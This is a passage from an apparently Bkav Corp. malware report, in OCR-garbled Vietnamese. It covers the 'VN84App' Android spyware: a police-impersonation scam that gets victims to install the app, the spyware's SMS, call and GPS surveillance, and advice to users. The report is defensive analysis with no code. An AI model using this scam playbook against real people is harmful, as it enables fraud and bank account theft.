Nhu vay c6 thé nhan dinh céc cong cu duoc sir dung trong chién dich tan cong nay
c6 mbi lién hé vai Trung Quéc.
5. Két luan chung

5.1 Kich ban lira ddo

Pé dé dang qua mat ngudi dung, khién ho hoan toan tin twéng va lam theo cac
huéng dan, hacker da st dung mot chiéu thirc tinh vi 1a mao danh co quan nha
nudc, to chirc ¢d uy tin va c6 tim anh huéng nhu Bo Cong an... Chung cling nham
vao diém yéu 1a sy thiéu nhan thic an ninh mang cua nan nhan dé c6 thé thuyét
phuc ho cai dat tng dung khdng rd nguon gdc.

Qua phan tich, chung t6i nhan dinh mo6 hinh co ban caa céch thirc hra dao nay nhu
sau.

Budc 1: Hacker dong gia ngudi co6 tham quyén phap luat goi dién, doa nat nan
nhan

Budc 2: Lua nan nhan vao trang web gia mao tai va cai dat tng dung co chira ma
doc vao may

Budc 3: Ma doc s& thuc hién hanh vi thu thap dix liéu, tin nhin trén thiét bi nan
nhan

Budc 4: Thong tin ctia nan nhan dugc thu thap va gui 1én server caa hacker

Budc 5: Hacker thuc hién doc trom thong tin riéng tu, chiém tai khoan ngan hang
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Hacker déng gia ngudi c6 tham Lira nan nhan vao trang web gia
quyén phap luat goi dién “Doa nat” 2 mao tai va cai dat app chila ma
nan nhan ddc vao may

Hgan hing B2nk

IR <esorsonia

e,

Nginhing Bank
94 chuyén thanh ceng

50,000,000VND
Nan nhén thuc hién goi dién, nhan Thoéng tin cGia nan nhan bi ghi lai
tin va giao dich trén dién thoai va gui lén server cia hacker

Hacker thuc hién: Doc trom thong
tin riéng tu, chiém tai khoan ngan
hang

Cach thuc lira dao

Bkav Corp.

23



Bkav‘ Spyware “Vn84App”

5.2 Cac hanh vi ma doc trén thiét bj di déng
Céc phan tich trén chi ra VN84App c6 mot sé hanh vi nhu sau:
- Giri, nhan, doc va can thiép vao tin nhin
- Theo ddi cudc goi, can thiép vao danh ba
- Theo ddi GPS
- biéu khién thiét bi
- LAy thdng tin thiét bi

Co

Gtri, nhéan, doc Theo doi
va ghi tin nhan cudc goi

N LAy théng tin
Theo déi GPS thiét bj

Hanh vi ciia malware trén thiét bi di dong

6. Khuyén cao nguoi dung
Ching t6i khuyén cao ngudi dung hién nay khi truy cap vao cac trang web can
mét s luu ¥ sau:

- Can nang cao canh giac trudc cac cudc goi la co lién quan t6i co quan chuc
nang ma khdng chic chan vé nguon géc, khéng voi vang lam theo céac yéu cau,
huéng dan, dit khoét tir chéi 1am viéc qua dién thoai.

- Cai dit cac phan mém diét virus dé phat hién kip thoi véi cac phan mém doc
hai.

- Khéng nén tai, cai dat cdc phan mém trén dién thoai tai cac ngudn Xxuat xu
khong rd rang

- Khi phat hién phan mém doc hai, cac trang web gia mao can thong bao véi co
quan chirc nang va canh bao moi nguoi xung quanh canh giac.
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